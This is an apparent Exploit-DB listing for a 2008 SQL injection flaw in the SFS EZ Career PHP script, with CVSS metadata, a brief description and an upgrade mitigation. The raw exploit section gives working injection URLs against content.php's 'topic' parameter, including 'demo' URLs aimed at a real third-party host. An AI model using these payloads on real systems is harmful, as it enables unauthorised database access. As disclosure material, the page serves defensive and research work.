SFS EZ Career Remote sql execution

vendor:

SFS EZ Career

by:

Mountassif Moad

9.3

CVSS

HIGH

SQL Execution

CWE

Product Name: SFS EZ Career

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SFS EZ Career Remote sql execution

The SFS EZ Career script is vulnerable to remote SQL execution. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable script. This can allow an attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Upgrade to the latest version of SFS EZ Career script.

Source

Exploit-DB raw data:

###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Sql execution
# Script : SFS EZ Career Remote sql execution
# Home Script : http://www.scripts-for-sites.info/item.php?item=92
# Greetz : Allah , All my freind
##########################################################################


Exploit :

http://localhost/[career]/content.php?topic=user()
http://localhost/[career]/content.php?topic=version()
http://localhost/[career]/content.php?topic=database()
http://localhost/[career]/content.php?topic=id


Demo :
http://www.turnkeyzone.com/demos/career/content.php?topic=id
http://www.turnkeyzone.com/demos/career/content.php?topic=version()
http://www.turnkeyzone.com/demos/career/content.php?topic=user()
http://www.turnkeyzone.com/demos/career/content.php?topic=database()

# milw0rm.com [2008-10-31]